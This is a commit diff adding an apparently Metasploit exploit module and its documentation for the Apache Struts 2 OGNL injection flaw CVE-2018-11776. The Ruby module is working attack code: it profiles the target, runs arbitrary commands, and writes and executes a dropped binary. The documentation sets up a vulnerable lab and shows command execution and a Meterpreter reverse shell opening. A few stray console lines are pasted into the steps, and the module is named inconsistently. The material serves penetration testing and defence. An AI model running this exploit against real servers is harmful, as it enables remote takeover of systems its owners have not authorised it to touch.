Land #10546, Add Apache Struts exploit: CVE-2018-11776
commit
718aaca0f4
|
@ -0,0 +1,155 @@
|
|||
CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute [OGNL(https://commons.apache.org/proper/commons-ognl/language-guide.html) remotely. Using OGNL, the attacker can modify files and execute commands.
|
||||
|
||||
The vulnerability was reported to Apache by [Man Yue Mo] from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
The Struts showcase app, with a slight adaptation to introduce the vulnerability, works reliabliy as a practice environment.
|
||||
*@hook-s3c* did an amazing job with [their writeup](https://github.com/hook-s3c/CVE-2018-11776-Python-PoC/blob/master/README.md), which I'll include exerpts of here:
|
||||
|
||||
1. From a stock Ubuntu VM, install docker:
|
||||
```
|
||||
sudo apt update && sudo apt install docker.io
|
||||
```
|
||||
|
||||
2. Download a vulnerable Struts showcase application inside a docker container:
|
||||
```
|
||||
sudo docker pull piesecurity/apache-struts2-cve-2017-5638
|
||||
sudo docker run -d --name struts2 -p 32771:8080 piesecurity/apache-struts2-cve-2017-5638
|
||||
CONTAINER_ID=`sudo docker ps -l -q`
|
||||
```
|
||||
|
||||
3. Now that the container is running, open a terminal inside of it:
|
||||
```
|
||||
sudo docker exec -it $CONTAINER_ID /bin/bash
|
||||
```
|
||||
|
||||
4. From within the container, install your text editor of choice and modify the Struts configs:
|
||||
```
|
||||
sudo apt update && sudo apt install nano
|
||||
nano /usr/local/tomcat/webapps/ROOT/WEB-INF/classes/struts.xml
|
||||
```
|
||||
|
||||
5. Update the struts config to add this to above line #11:
|
||||
```
|
||||
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
|
||||
```
|
||||
|
||||
6. Update the same struts config file to add this above line #78:
|
||||
```
|
||||
<action name="help">
|
||||
<result type="redirectAction">
|
||||
<param name="actionName">date.action</param>
|
||||
</result>
|
||||
</action>
|
||||
```
|
||||
|
||||
7. Still within the container, shutdown the environment:
|
||||
```
|
||||
/usr/local/tomcat/bin/shutdown.sh
|
||||
```
|
||||
|
||||
8. Upon completion, the container will shutdown and you'll return to the host environment. Restart the container, now with a vulnerable endpoint:
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
||||
```
|
||||
sudo docker start $CONTAINER_ID
|
||||
```
|
||||
|
||||
Congratulations. You now have a vulnerable Struts server. If you're following these instructions, your server should be listening on 0.0.0.0:32771. To confirm:
|
||||
```
|
||||
INTERFACE=`ip route list 0.0.0.0/0 | cut -d' ' -f5`
|
||||
IPADDRESS=`ip addr show $INTERFACE | grep -Po 'inet \K[\d.]+'`
|
||||
PORT_NUM=`sudo docker port $CONTAINER_ID | sed 's/.*://'`
|
||||
echo "Struts container is listening on $IPADDRESS:$PORT_NUM"
|
||||
```
|
||||
|
||||
## Verification Steps
|
||||
|
||||
Confirm that check functionality works:
|
||||
- [ ] Install the application using the steps above.
|
||||
- [ ] Start msfconsole.
|
||||
- [ ] Load the module: ```use exploit/multi/http/struts_namespace_rce```
|
||||
- [ ] Set the RHOST.
|
||||
- [ ] Set an invalid ACTION: ```set ACTION wrong.action```
|
||||
- [ ] Confirm the target is *not* vulnerable: ```check```
|
||||
- [ ] Observe that the target is *not* vulnerable: ```The target is not exploitable.```
|
||||
- [ ] Set a valid ACTION: ```set ACTION help.action```
|
||||
- [ ] Confirm that the target is vulnerable: ```The target is vulnerable.```
|
||||
|
||||
Confirm that command execution functionality works:
|
||||
- [ ] Set a payload: ```set PAYLOAD cmd/unix/generic```
|
||||
- [ ] Set a command to be run: ```set CMD hostname```
|
||||
- [ ] Run the exploit: ```run```
|
||||
- [ ] Confirm the output is the container ID of your docker environment, e.g: ```b3d9b350d9b6```
|
||||
- [ ] You will not be given a shell (yet).
|
||||
|
||||
Confirm that payload upload and execution works:
|
||||
- [ ] Set a payload, e.g.: ```set PAYLOAD linux/x64/meterpreter/reverse_tcp```
|
||||
- [ ] Configure `LHOST` and `RHOST` as necessary.
|
||||
- [ ] Run the exploit: ```run```
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
||||
## Options
|
||||
|
||||
**TARGETURI**
|
||||
|
||||
The path to the struts application. Note that this does not include the endpoint. In the environment above, the path is `/`.
|
||||
|
||||
**ACTION**
|
||||
|
||||
The endpoint name. In the environment above, the endpoint is `help.action`.
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Version of software and OS as applicable
|
||||
|
||||
Checking a vulnerable endpoint, as installed in the above steps:
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/struts_namespace_rce
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set RHOSTS 192.168.199.135
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set RPORT 32771
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set ACTION help.action
|
||||
ACTION => help.action
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > check
|
||||
[+] 192.168.199.135:32771 The target is vulnerable.
|
||||
```
|
||||
|
||||
Running an arbitrary command on the above-described environment:
|
||||
|
||||
```
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set VERBOSE true
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set PAYLOAD cmd/unix/generic
|
||||
PAYLOAD => cmd/unix/generic
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > set CMD hostname
|
||||
CMD => hostname
|
||||
msf5 exploit(multi/http/struts_namespace_rce) > run
|
||||
[*] Submitted OGNL: (#_memberAccess['allowStaticMethodAccess']=true).(#cmd='hostname').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
|
||||
|
||||
[*] Command ran. Output from command:
|
||||
b3d9b350d9b6
|
||||
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf5 exploit(multi/http/struts_namespace_rce) >
|
||||
```
|
||||
|
||||
Getting a Meterpreter session on the above-described environment:
|
||||
|
||||
```
|
||||
|
||||
msf5 > use exploit/multi/http/struts2_namespace_ognl
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set ACTION help.action
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set RHOSTS 192.168.199.135
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set RPORT 32771
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > set LHOST 192.168.199.134
|
||||
msf5 exploit(multi/http/struts2_namespace_ognl) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.199.134:4444
|
||||
[+] Target profiled successfully: Linux 4.4.0-112-generic amd64, running as root
|
||||
[+] Payload successfully dropped and executed.
|
||||
[*] Sending stage (816260 bytes) to 192.168.199.135
|
||||
[*] Meterpreter session 1 opened (192.168.199.134:4444 -> 192.168.199.135:47482) at 2018-08-31 13:15:22 -0500
|
||||
|
||||
meterpreter >
|
||||
```
|
||||
|
|
@ -0,0 +1,390 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::EXE
|
||||
|
||||
# Eschewing CmdStager for now, since the use of '\' and ';' are killing me
|
||||
#include Msf::Exploit::CmdStager # https://github.com/rapid7/metasploit-framework/wiki/How-to-use-command-stagers
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Apache Struts 2 Namespace Redirect OGNL Injection',
|
||||
'Description' => %q{
|
||||
This module exploits a remote code execution vulnerability in Apache Struts
|
||||
version 2.3 - 2.3.4, and 2.5 - 2.5.16. Remote Code Execution can be performed
|
||||
via an endpoint that makes use of a redirect action.
|
||||
|
||||
Native payloads will be converted to executables and dropped in the
|
||||
server's temp dir. If this fails, try a cmd/* payload, which won't
|
||||
have to write to the disk.
|
||||
},
|
||||
#TODO: Is that second paragraph above still accurate?
|
||||
'Author' => [
|
||||
'Man Yue Mo', # Discovery
|
||||
'hook-s3c', # PoC
|
||||
'asoto-r7', # Metasploit module
|
||||
'wvu' # Metasploit module
|
||||
],
|
||||
'References' => [
|
||||
['CVE', '2018-11776'],
|
||||
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
|
||||
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057'],
|
||||
['URL', 'https://github.com/hook-s3c/CVE-2018-11776-Python-PoC'],
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Targets' => [
|
||||
[
|
||||
'Automatic detection', {
|
||||
'Platform' => %w{ unix windows linux },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
},
|
||||
],
|
||||
[
|
||||
'Windows', {
|
||||
'Platform' => %w{ windows },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
},
|
||||
],
|
||||
[
|
||||
'Linux', {
|
||||
'Platform' => %w{ unix linux },
|
||||
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],
|
||||
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/generic'}
|
||||
},
|
||||
],
|
||||
],
|
||||
'DisclosureDate' => 'Aug 22 2018', # Private disclosure = Apr 10 2018
|
||||
'DefaultTarget' => 0))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(8080),
|
||||
OptString.new('TARGETURI', [ true, 'A valid base path to a struts application', '/' ]),
|
||||
OptString.new('ACTION', [ true, 'A valid endpoint that is configured as a redirect action', 'showcase.action' ]),
|
||||
OptString.new('ENABLE_STATIC', [ true, 'Enable "allowStaticMethodAccess" before executing OGNL', true ]),
|
||||
]
|
||||
)
|
||||
register_advanced_options(
|
||||
[
|
||||
OptString.new('HTTPMethod', [ true, 'The HTTP method to send in the request. Cannot contain spaces', 'GET' ]),
|
||||
OptString.new('HEADER', [ true, 'The HTTP header field used to transport the optional payload', "X-#{rand_text_alpha(4)}"] ),
|
||||
OptString.new('TEMPFILE', [ true, 'The temporary filename written to disk when executing a payload', "#{rand_text_alpha(8)}"] ),
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def check
|
||||
# METHOD 1: Try to extract the state of hte allowStaticMethodAccess variable
|
||||
ognl = "#_memberAccess['allowStaticMethodAccess']"
|
||||
|
||||
resp = send_struts_request(ognl)
|
||||
|
||||
# If vulnerable, the server should return an HTTP 302 (Redirect)
|
||||
# and the 'Location' header should contain either 'true' or 'false'
|
||||
if resp && resp.headers['Location']
|
||||
output = resp.headers['Location']
|
||||
vprint_status("Redirected to: #{output}")
|
||||
if (output.include? '/true/')
|
||||
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
|
||||
datastore['ENABLE_STATIC'] = false
|
||||
CheckCode::Vulnerable
|
||||
elsif (output.include? '/false/')
|
||||
print_status("Target requires enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'true'")
|
||||
datastore['ENABLE_STATIC'] = true
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
elsif resp && resp.code==400
|
||||
# METHOD 2: Generate two random numbers, ask the target to add them together.
|
||||
# If it does, it's vulnerable.
|
||||
a = rand(10000)
|
||||
b = rand(10000)
|
||||
c = a+b
|
||||
|
||||
ognl = "#{a}+#{b}"
|
||||
|
||||
resp = send_struts_request(ognl)
|
||||
|
||||
if resp.headers['Location'].include? c.to_s
|
||||
vprint_status("Redirected to: #{resp.headers['Location']}")
|
||||
print_status("Target does *not* require enabling 'allowStaticMethodAccess'. Setting ENABLE_STATIC to 'false'")
|
||||
datastore['ENABLE_STATIC'] = false
|
||||
CheckCode::Vulnerable
|
||||
else
|
||||
CheckCode::Safe
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
case payload.arch.first
|
||||
when ARCH_CMD
|
||||
resp = execute_command(payload.encoded)
|
||||
else
|
||||
resp = send_payload()
|
||||
end
|
||||
end
|
||||
|
||||
def encode_ognl(ognl)
|
||||
# Check and fail if the command contains the follow bad characters:
|
||||
# ';' seems to terminates the OGNL statement
|
||||
# '/' causes the target to return an HTTP/400 error
|
||||
# '\' causes the target to return an HTTP/400 error (sometimes?)
|
||||
# '\r' ends the GET request prematurely
|
||||
# '\n' ends the GET request prematurely
|
||||
|
||||
# TODO: Make sure the following line is uncommented
|
||||
bad_chars = %w[; \\ \r \n] # and maybe '/'
|
||||
bad_chars.each do |c|
|
||||
if ognl.include? c
|
||||
print_error("Bad OGNL request: #{ognl}")
|
||||
fail_with(Failure::BadConfig, "OGNL request cannot contain a '#{c}'")
|
||||
end
|
||||
end
|
||||
|
||||
# The following list of characters *must* be encoded or ORNL will asplode
|
||||
encodable_chars = { "%": "%25", # Always do this one first. :-)
|
||||
" ": "%20",
|
||||
"\"":"%22",
|
||||
"#": "%23",
|
||||
"'": "%27",
|
||||
"<": "%3c",
|
||||
">": "%3e",
|
||||
"?": "%3f",
|
||||
"^": "%5e",
|
||||
"`": "%60",
|
||||
"{": "%7b",
|
||||
"|": "%7c",
|
||||
"}": "%7d",
|
||||
#"\/":"%2f", # Don't do this. Just leave it front-slashes in as normal.
|
||||
#";": "%3b", # Doesn't work. Anyone have a cool idea for a workaround?
|
||||
#"\\":"%5c", # Doesn't work. Anyone have a cool idea for a workaround?
|
||||
#"\\":"%5c%5c", # Doesn't work. Anyone have a cool idea for a workaround?
|
||||
}
|
||||
|
||||
encodable_chars.each do |k,v|
|
||||
#ognl.gsub!(k,v) # TypeError wrong argument type Symbol (expected Regexp)
|
||||
ognl.gsub!("#{k}","#{v}")
|
||||
end
|
||||
return ognl
|
||||
end
|
||||
|
||||
def send_struts_request(ognl, payload: nil)
|
||||
=begin #badchar-checking code
|
||||
pre = ognl
|
||||
=end
|
||||
|
||||
ognl = "${#{ognl}}"
|
||||
vprint_status("Submitted OGNL: #{ognl}")
|
||||
ognl = encode_ognl(ognl)
|
||||
|
||||
headers = {'Keep-Alive': 'timeout=5, max=1000'}
|
||||
|
||||
if payload
|
||||
vprint_status("Embedding payload of #{payload.length} bytes")
|
||||
headers[datastore['HEADER']] = payload
|
||||
end
|
||||
|
||||
# TODO: Embed OGNL in an HTTP header to hide it from the Tomcat logs
|
||||
uri = "/#{ognl}/#{datastore['ACTION']}"
|
||||
|
||||
resp = send_request_cgi(
|
||||
#'encode' => true, # this fails to encode '\', which is a problem for me
|
||||
'uri' => uri,
|
||||
'method' => datastore['HTTPMethod'],
|
||||
'headers' => headers
|
||||
)
|
||||
|
||||
if resp && resp.code == 404
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 404, please double check TARGETURI and ACTION options")
|
||||
end
|
||||
|
||||
=begin #badchar-checking code
|
||||
print_status("Response code: #{resp.code}")
|
||||
#print_status("Response recv: BODY '#{resp.body}'") if resp.body
|
||||
if resp.headers['Location']
|
||||
print_status("Response recv: LOC: #{resp.headers['Location'].split('/')[1]}")
|
||||
if resp.headers['Location'].split('/')[1] == pre[1..-2]
|
||||
print_good("GOT 'EM!")
|
||||
else
|
||||
print_error(" #{pre[1..-2]}")
|
||||
end
|
||||
end
|
||||
=end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
def profile_target
|
||||
# Use OGNL to extract properties from the Java environment
|
||||
|
||||
properties = { 'os.name': nil, # e.g. 'Linux'
|
||||
'os.arch': nil, # e.g. 'amd64'
|
||||
'os.version': nil, # e.g. '4.4.0-112-generic'
|
||||
'user.name': nil, # e.g. 'root'
|
||||
#'user.home': nil, # e.g. '/root' (didn't work in testing)
|
||||
'user.language': nil, # e.g. 'en'
|
||||
#'java.io.tmpdir': nil, # e.g. '/usr/local/tomcat/temp' (didn't work in testing)
|
||||
}
|
||||
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|('#{rand_text_alpha(2)}')|
|
||||
properties.each do |k,v|
|
||||
ognl << %Q|+(@java.lang.System@getProperty('#{k}'))+':'|
|
||||
end
|
||||
ognl = ognl[0...-4]
|
||||
|
||||
r = send_struts_request(ognl)
|
||||
|
||||
if r.code == 400
|
||||
fail_with(Failure::UnexpectedReply, "Server returned HTTP 400, consider toggling the ENABLE_STATIC option")
|
||||
elsif r.headers['Location']
|
||||
# r.headers['Location'] should look like '/bILinux:amd64:4.4.0-112-generic:root:en/help.action'
|
||||
# Extract the OGNL output from the Location path, and strip the two random chars
|
||||
s = r.headers['Location'].split('/')[1][2..-1]
|
||||
|
||||
if s.nil?
|
||||
# Since the target didn't respond with an HTTP/400, we know the OGNL code executed.
|
||||
# But we didn't get any output, so we can't profile the target. Abort.
|
||||
return nil
|
||||
end
|
||||
|
||||
# Confirm that all fields were returned, and non include extra (:) delimiters
|
||||
# If the OGNL fails, we might get a partial result back, in which case, we'll abort.
|
||||
if s.count(':') > properties.length
|
||||
print_error("Failed to profile target. Response from server: #{r.to_s}")
|
||||
fail_with(Failure::UnexpectedReply, "Target responded with unexpected profiling data")
|
||||
end
|
||||
|
||||
# Separate the colon-delimited properties and store in the 'properties' hash
|
||||
s = s.split(':')
|
||||
i = 0
|
||||
properties.each do |k,v|
|
||||
properties[k] = s[i]
|
||||
i += 1
|
||||
end
|
||||
|
||||
print_good("Target profiled successfully: #{properties[:'os.name']} #{properties[:'os.version']}" +
|
||||
" #{properties[:'os.arch']}, running as #{properties[:'user.name']}")
|
||||
return properties
|
||||
else
|
||||
print_error("Failed to profile target. Response from server: #{r.to_s}")
|
||||
fail_with(Failure::UnexpectedReply, "Server did not respond properly to profiling attempt.")
|
||||
end
|
||||
end
|
||||
|
||||
def execute_command(cmd_input, opts={})
|
||||
# Semicolons appear to be a bad character in OGNL. cmdstager doesn't understand that.
|
||||
if cmd_input.include? ';'
|
||||
print_warning("WARNING: Command contains bad characters: semicolons (;).")
|
||||
end
|
||||
|
||||
begin
|
||||
properties = profile_target
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
os = ''
|
||||
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
|
||||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
|
||||
if (os.include? 'linux') || (os.include? 'nix')
|
||||
cmd = "{'sh','-c','#{cmd_input}'}"
|
||||
elsif os.include? 'win'
|
||||
cmd = "{'cmd.exe','/c','#{cmd_input}'}"
|
||||
else
|
||||
vprint_error("Failed to detect target OS. Attempting to execute command directly")
|
||||
cmd = cmd_input
|
||||
end
|
||||
|
||||
# The following OGNL will run arbitrary commands on Windows and Linux
|
||||
# targets, as well as returning STDOUT and STDERR. In my testing,
|
||||
# on Struts2 in Tomcat 7.0.79, commands timed out after 18-19 seconds.
|
||||
|
||||
vprint_status("Executing: #{cmd}")
|
||||
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#p=new java.lang.ProcessBuilder(#{cmd})).|
|
||||
ognl << %q|(#p.redirectErrorStream(true)).|
|
||||
ognl << %q|(#process=#p.start()).|
|
||||
ognl << %q|(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).|
|
||||
ognl << %q|(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).|
|
||||
ognl << %q|(#r.flush())|
|
||||
|
||||
r = send_struts_request(ognl)
|
||||
|
||||
if r && r.code == 200
|
||||
print_good("Command executed:\n#{r.body}")
|
||||
elsif r
|
||||
if r.body.length == 0
|
||||
print_status("Payload sent, but no output provided from server.")
|
||||
elsif r.body.length > 0
|
||||
print_error("Failed to run command. Response from server: #{r.to_s}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def send_payload
|
||||
# Probe for the target OS and architecture
|
||||
begin
|
||||
properties = profile_target
|
||||
os = properties[:'os.name'].downcase
|
||||
rescue
|
||||
vprint_warning("Target profiling was unable to determine operating system")
|
||||
os = ''
|
||||
os = 'windows' if datastore['PAYLOAD'].downcase.include? 'win'
|
||||
os = 'linux' if datastore['PAYLOAD'].downcase.include? 'linux'
|
||||
os = 'unix' if datastore['PAYLOAD'].downcase.include? 'unix'
|
||||
end
|
||||
|
||||
data_header = datastore['HEADER']
|
||||
if data_header.empty?
|
||||
fail_with(Failure::BadConfig, "HEADER parameter cannot be blank when sending a payload")
|
||||
end
|
||||
|
||||
random_filename = datastore['TEMPFILE']
|
||||
|
||||
# d = data stream from HTTP header
|
||||
# f = path to temp file
|
||||
# s = stream/handle to temp file
|
||||
ognl = ""
|
||||
ognl << %q|(#_memberAccess['allowStaticMethodAccess']=true).| if datastore['ENABLE_STATIC']
|
||||
ognl << %Q|(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('#{data_header}')).|
|
||||
ognl << %Q|(#f=@java.io.File@createTempFile('#{random_filename}','tmp')).|
|
||||
ognl << %q|(#f.setExecutable(true)).|
|
||||
ognl << %q|(#f.deleteOnExit()).|
|
||||
ognl << %q|(#s=new java.io.FileOutputStream(#f)).|
|
||||
ognl << %q|(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).|
|
||||
ognl << %q|(#s.write(#d)).|
|
||||
ognl << %q|(#s.close()).|
|
||||
ognl << %q|(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).|
|
||||
ognl << %q|(#p.start()).|
|
||||
ognl << %q|(#f.delete()).|
|
||||
|
||||
success_string = rand_text_alpha(4)
|
||||
ognl << %Q|('#{success_string}')|
|
||||
|
||||
exe = [generate_payload_exe].pack("m").delete("\n")
|
||||
r = send_struts_request(ognl, payload: exe)
|
||||
|
||||
if r && r.headers && r.headers['Location'].split('/')[1] == success_string
|
||||
print_good("Payload successfully dropped and executed.")
|
||||
elsif r && r.headers['Location']
|
||||
vprint_error("RESPONSE: " + r.headers['Location'])
|
||||
fail_with(Failure::PayloadFailed, "Target did not successfully execute the request")
|
||||
elsif r && r.code == 400
|
||||
fail_with(Failure::UnexpectedReply, "Target reported an unspecified error while executing the payload")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue